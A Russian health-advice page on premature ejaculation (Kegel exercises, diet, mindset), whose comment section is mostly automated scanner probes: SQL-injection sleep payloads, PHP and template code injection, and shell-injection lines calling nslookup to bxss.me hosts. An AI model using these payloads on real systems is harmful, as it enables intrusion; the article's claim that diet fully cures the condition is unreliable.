3 способа увеличить свою выносливость в постели

Спросите у любых 10 мужчин — хотели бы они, чтобы их дольше хватало в постели. По крайней мере 7 из них поднимут руку. Разве не здорово было бы, если бы преждевременное семяизвержение могло быть вылечено навсегда? Разве бы это не ПОВЫСИЛО вашу уверенность в собственных силах, если бы вы могли оставаться в игре столько, сколько хотите на самом деле... или по крайней мере до тех пор, пока ваша жена или девушка не окажется полностью удовлетворенной? Я в этом даже не сомневаюсь. На самом деле многие парни бы отдали что угодно за то, чтобы избавиться от проклятия преждевременного семяизвержения и каждый раз радовать свою женщину первоклассным сексом.

Знаете ли вы, что преждевременное семяизвержение может быть легко вылечено? Правда в том, что ПС не относится к проблемам, с которыми необходимо просто смириться... если только вы сами не пришли к решению ничего по этому поводу не предпринимать. Несмотря на то что ПС — серьезная проблема для миллионов мужчин по всему миру, она решаема, даже без применения каких-либо специальных таблеток или гелей.

ПС может быть полностью излечено, например, за счет:

1. Выполнения упражнений, повышающих контроль над эякуляцией. Кегели являются самыми известными упражнениями, способными усилить лобково-копчиковую мышцу в районе таза. Когда эти «мышцы любви» накачаны, вы можете остановить приближающуюся эякуляцию за счет напряжения или расслабления этих мышц. В Интернете полно информации о том, как выполнять данные упражнения, поэтому от вас требуется лишь регулярное их выполнение.

2. Простых изменений в вашем рационе. Очень многим мужчинам удалось избавиться от ПС, просто начав употреблять пищу, богатую антиоксидантами, например: орехи, чернику, красный виноград, черный чай и асаи. Жирная рыба, такая как семга, скумбрия и сардины, также отлично подходит для усиления вашей выносливости в постели.

3. Приведения в порядок вашего психологического настроя на секс. Концентрация на удовлетворении В ПЕРВУЮ ОЧЕРЕДЬ сексуальных потребностей вашего партнера может быть отличной стратегией для достижения максимальной продолжительности секса. Это не только повышает ее способность к достижению оргазма, но и помогает держать под контролем ваше сексуальное возбуждение и не дать возможность кульминации подкрасться к вам незаметно.

Существует и масса других естественных способов, которые действуют просто превосходно для тех, кому в постели не хватает дополнительной выносливости. Техники релаксации, дыхательные стратегии и даже правильные сексуальные позы могут также возыметь колоссальный эффект на ваши сексуальные возможности.

Мораль следующая: несмотря на то что преждевременное семяизвержение может быть весьма огорчительной проблемой и даже вызывать стыд, с помощью простых, проверенных стратегий вы в состоянии изменить ситуацию с точностью до наоборот.

Комментарии: (101)

  • avatar
    QPbmCRVM 19.01.2021 06:01:22 Ответить

    «-5 OR 216=(SELECT 216 FROM PG_SLEEP(12))--»

  • avatar
    QPbmCRVM 19.01.2021 06:01:21 Ответить

    «t7L6uRgN'; waitfor delay '0:0:12' --»

  • avatar
    QPbmCRVM 19.01.2021 06:01:20 Ответить

    «1 waitfor delay '0:0:12' --»

  • avatar
    QPbmCRVM 19.01.2021 06:01:19 Ответить

    «3-sposoba-uvelichit-svoyu-vinoslivost-v-posteli-28.html»

  • avatar
    QPbmCRVM 19.01.2021 06:01:19 Ответить

    «';print(md5(31337));$a='»

  • avatar
    QPbmCRVM 19.01.2021 06:01:19 Ответить

    «bxss.me»

  • avatar
    QPbmCRVM 19.01.2021 06:01:19 Ответить

    «3-sposoba-uvelichit-svoyu-vinoslivost-v-posteli-28.html»

  • avatar
    QPbmCRVM 19.01.2021 06:01:19 Ответить

    «5559748351»

  • avatar
    QPbmCRVM 19.01.2021 06:01:19 Ответить

    «";print(md5(31337));$a="»

  • avatar
    QPbmCRVM 19.01.2021 06:01:19 Ответить

    «${@print(md5(31337))}»

  • avatar
    QPbmCRVM 19.01.2021 06:01:19 Ответить

    «${@print(md5(31337))}\»

  • avatar
    QPbmCRVM 19.01.2021 06:01:19 Ответить

    «-1); waitfor delay '0:0:12' --»

  • avatar
    QPbmCRVM 19.01.2021 06:01:19 Ответить

    «'.print(md5(31337)).'»

  • avatar
    QPbmCRVM 19.01.2021 06:01:18 Ответить

    «;print(md5(31337));»

  • avatar
    3-sposoba-uvelichit-svoyu-vinoslivost-v-posteli-28 19.01.2021 06:01:18 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:18 Ответить

    «^(#$!@#$)(()))******»

  • avatar
    ${@print(md5(31337))} 19.01.2021 06:01:18 Ответить

    «555»

  • avatar
    ${@print(md5(31337))}\ 19.01.2021 06:01:18 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:18 Ответить

    «1some_inexistent_file_with_long_name.jpg»

  • avatar
    3-sposoba-uvelichit-svoyu-vinoslivost-v-posteli-28 19.01.2021 06:01:18 Ответить

    «555»

  • avatar
    QPbmCRVM9546267 19.01.2021 06:01:18 Ответить

    «555»

  • avatar
    '.print(md5(31337)).' 19.01.2021 06:01:18 Ответить

    «555»

  • avatar
    3-sposoba-uvelichit-svoyu-vinoslivost-v-posteli-28 19.01.2021 06:01:18 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:18 Ответить

    «-1; waitfor delay '0:0:12' --»

  • avatar
    !(()&&!|*|*| 19.01.2021 06:01:17 Ответить

    «555»

  • avatar
    1some_inexistent_file_with_long_name.jpg 19.01.2021 06:01:17 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:17 Ответить

    «;(nslookup hitxnnbbkfmuv1405a.bxss.me||perl -e "gethostbyname('hitxnnbbkfmuv1405a.bxss.me')")|(nslookup hitxnnbbkfmuv1405a.bxss.me||perl -e "gethostbyname('hitxnnbbkfmuv1405a.bxss.me')")&(nslookup hitxnnbbkfmuv1405a.bxss.me||perl -e "gethostbyname('hitxnnbbkfmuv1405a.bxss.me')")»

  • avatar
    ^(#$!@#$)(()))****** 19.01.2021 06:01:17 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:17 Ответить

    «0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z»

  • avatar
    ;print(md5(31337)); 19.01.2021 06:01:17 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:17 Ответить

    «)»

  • avatar
    ';print(md5(31337));$a=' 19.01.2021 06:01:17 Ответить

    «555»

  • avatar
    ";print(md5(31337));$a=" 19.01.2021 06:01:17 Ответить

    «555»

  • avatar
    bxss.me 19.01.2021 06:01:17 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:17 Ответить

    «!(()&&!|*|*|»

  • avatar
    QPbmCRVM 19.01.2021 06:01:16 Ответить

    «`(nslookup hitgrmnqpzwflccbb8.bxss.me||perl -e "gethostbyname('hitgrmnqpzwflccbb8.bxss.me')")`»

  • avatar
    QPbmCRVM 19.01.2021 06:01:16 Ответить

    «(nslookup hitpegkjhjjol107f4.bxss.me||perl -e "gethostbyname('hitpegkjhjjol107f4.bxss.me')")»

  • avatar
    QPbmCRVM 19.01.2021 06:01:16 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:16 Ответить

    «$(nslookup hittqnanjfwvu69136.bxss.me||perl -e "gethostbyname('hittqnanjfwvu69136.bxss.me')")»

  • avatar
    ) 19.01.2021 06:01:16 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:16 Ответить

    «|(nslookup hitinkejgdigtc563e.bxss.me||perl -e "gethostbyname('hitinkejgdigtc563e.bxss.me')")»

  • avatar
    QPbmCRVM 19.01.2021 06:01:16 Ответить

    «${10000066+9999802}»

  • avatar
    ${10000177+9999656} 19.01.2021 06:01:16 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:16 Ответить

    «&(nslookup hitkksmepxfkiea4ab.bxss.me||perl -e "gethostbyname('hitkksmepxfkiea4ab.bxss.me')")&'\"`0&(nslookup hitkksmepxfkiea4ab.bxss.me||perl -e "gethostbyname('hitkksmepxfkiea4ab.bxss.me')")&`'»

  • avatar
    QPbmCRVM 19.01.2021 06:01:16 Ответить

    «0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z»

  • avatar
    QPbmCRVM 19.01.2021 06:01:15 Ответить

    «|echo tczenl$()\ hgifmd\nz^xyu||a #' |echo tczenl$()\ hgifmd\nz^xyu||a #|" |echo tczenl$()\ hgifmd\nz^xyu||a #»

  • avatar
    QPbmCRVM 19.01.2021 06:01:15 Ответить

    «echo librtn$()\ wngcdu\nz^xyu||a #' &echo librtn$()\ wngcdu\nz^xyu||a #|" &echo librtn$()\ wngcdu\nz^xyu||a #»

  • avatar
    QPbmCRVM 19.01.2021 06:01:15 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:15 Ответить

    «&echo dfygjb$()\ udqutk\nz^xyu||a #' &echo dfygjb$()\ udqutk\nz^xyu||a #|" &echo dfygjb$()\ udqutk\nz^xyu||a #»

  • avatar
    QPbmCRVM 19.01.2021 06:01:15 Ответить

    «if(now()=sysdate(),sleep(12),0)»

  • avatar
    `(nslookup hitgxxpjeegut60195.bxss.me||perl -e "g 19.01.2021 06:01:14 Ответить

    «555»

  • avatar
    ;(nslookup hitukkcxvaxfta76bd.bxss.me||perl -e "g 19.01.2021 06:01:14 Ответить

    «555»

  • avatar
    &(nslookup hitfwsnqveesa3230a.bxss.me||perl -e "g 19.01.2021 06:01:14 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:14 Ответить

    «-1' OR 2+37-37-1=0+0+0+1 or 'iZrTRkzd'='»

  • avatar
    QPbmCRVM 19.01.2021 06:01:14 Ответить

    «-1" OR 2+28-28-1=0+0+0+1 --»

  • avatar
    |(nslookup hitcdukrmvjzi29cc8.bxss.me||perl -e "g 19.01.2021 06:01:14 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:13 Ответить

    «-1' OR 2+54-54-1=0+0+0+1 --»

  • avatar
    QPbmCRVM 19.01.2021 06:01:13 Ответить

    «-1 OR 2+544-544-1=0+0+0+1»

  • avatar
    $(nslookup hitpgblieprnbae954.bxss.me||perl -e "g 19.01.2021 06:01:13 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:13 Ответить

    «555»

  • avatar
    echo pnkzsj$()\ knmxdb\nz^xyu||a #' &echo pnkzs 19.01.2021 06:01:13 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:13 Ответить

    «-1 OR 2+529-529-1=0+0+0+1 --»

  • avatar
    |echo blotaj$()\ jdylrr\nz^xyu||a #' |echo blot 19.01.2021 06:01:13 Ответить

    «555»

  • avatar
    (nslookup hitbeosctgbnwf2f3a.bxss.me||perl -e "ge 19.01.2021 06:01:13 Ответить

    «555»

  • avatar
    &echo mlnrbl$()\ rsiste\nz^xyu||a #' &echo mlnr 19.01.2021 06:01:13 Ответить

    «555»

  • avatar
    QPbmCRVM'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR 19.01.2021 06:01:10 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:10 Ответить

    «555»

  • avatar
    2lCn2y3G')) OR 638=(SELECT 638 FROM PG_SLEEP(12)) 19.01.2021 06:01:09 Ответить

    «555»

  • avatar
    yhUc3Qs8' OR 247=(SELECT 247 FROM PG_SLEEP(12))-- 19.01.2021 06:01:08 Ответить

    «555»

  • avatar
    FSSHeZgR') OR 998=(SELECT 998 FROM PG_SLEEP(12))- 19.01.2021 06:01:08 Ответить

    «555»

  • avatar
    rkant9c3'; waitfor delay '0:0:12' -- 19.01.2021 06:01:07 Ответить

    «555»

  • avatar
    0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z 19.01.2021 06:01:06 Ответить

    «555»

  • avatar
    1 waitfor delay '0:0:12' -- 19.01.2021 06:01:06 Ответить

    «555»

  • avatar
    if(now()=sysdate(),sleep(12),0) 19.01.2021 06:01:05 Ответить

    «555»

  • avatar
    0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z 19.01.2021 06:01:05 Ответить

    «555»

  • avatar
    -1' OR 2+56-56-1=0+0+0+1 -- 19.01.2021 06:01:03 Ответить

    «555»

  • avatar
    -1' OR 2+684-684-1=0+0+0+1 or 'HE42mATR'=' 19.01.2021 06:01:03 Ответить

    «555»

  • avatar
    -1" OR 2+28-28-1=0+0+0+1 -- 19.01.2021 06:01:03 Ответить

    «555»

  • avatar
    -1 OR 2+563-563-1=0+0+0+1 -- 19.01.2021 06:01:02 Ответить

    «555»

  • avatar
    -1 OR 2+547-547-1=0+0+0+1 19.01.2021 06:01:02 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:02 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:01:01 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:00:52 Ответить

    «JyI=»

  • avatar
    QPbmCRVM 19.01.2021 06:00:52 Ответить

    «ї'ї"»

  • avatar
    QPbmCRVM 19.01.2021 06:00:52 Ответить

    «р''р""»

  • avatar
    р''р"" 19.01.2021 06:00:51 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:00:51 Ответить

    «1'"»

  • avatar
    QPbmCRVM 19.01.2021 06:00:51 Ответить

    «\»

  • avatar
    QPbmCRVM 19.01.2021 06:00:51 Ответить

    «@@UD5ux»

  • avatar
    QPbmCRVM 19.01.2021 06:00:51 Ответить

    «1А§Аў%2527%2522»

  • avatar
    JyI= 19.01.2021 06:00:50 Ответить

    «555»

  • avatar
    ї'ї" 19.01.2021 06:00:50 Ответить

    «555»

  • avatar
    1'" 19.01.2021 06:00:49 Ответить

    «555»

  • avatar
    \ 19.01.2021 06:00:49 Ответить

    «555»

  • avatar
    1А§Аў%2527%2522 19.01.2021 06:00:49 Ответить

    «555»

  • avatar
    @@QxAhP 19.01.2021 06:00:49 Ответить

    «555»

  • avatar
    QPbmCRVM 19.01.2021 06:00:43 Ответить

    «555»

  • avatar
    М 23.10.2016 19:31:18 Ответить

    «Тоже спорный вопрос . Дама у меня хочет всего пару раз в неделю а то и реже. А я уже лет 12-15 ежедневно раза по 3 кончаю. Ей хватает мин 20 и говорит больно ,а мы уже 7 лет живём. Но в редкий и как понимаете ожидаемый момент хочу тая тоже завершить в неё. Начинаю привыкать быстро кончать(
    А сейчас завёл себе даму на стороне) а ей как и мне по долгу и несколько раз хочется,а привычка уже выработана;(
    Как вернуть былую мощь ?»

  • avatar
    Юрец 20.12.2013 19:20:21 Ответить

    «Алекс, не отказывайся от мастурбации. Наоборот, если у тебя ПС, то делай как советует GreenOne("..перед сексом шел в душ и там мастурбировал. Тогда второй раз, уже с девушкой, получается дольше")»

  • avatar
    Алекс 17.12.2013 02:04:25 Ответить

    «Я не знаю правда,это или нет,нужно попробовать.Я слышал,что ПС происходит от того,что начиная с самого детства,практически до этих дней ты регулярно мастурбировал,и как мне позже рассказали;организм привык "получать" удовольствие от твоих рук,а не от девушки,вот именно поэтому он перешел в режим ПС,в тот самый щепетильный и очень ответственный для меня момент(((((((,Расскажите правда это или нет ;и стоит ли вообще от этого отказываться(от мастурбации)??????????»

Добавить комментарий:
Наверх
liru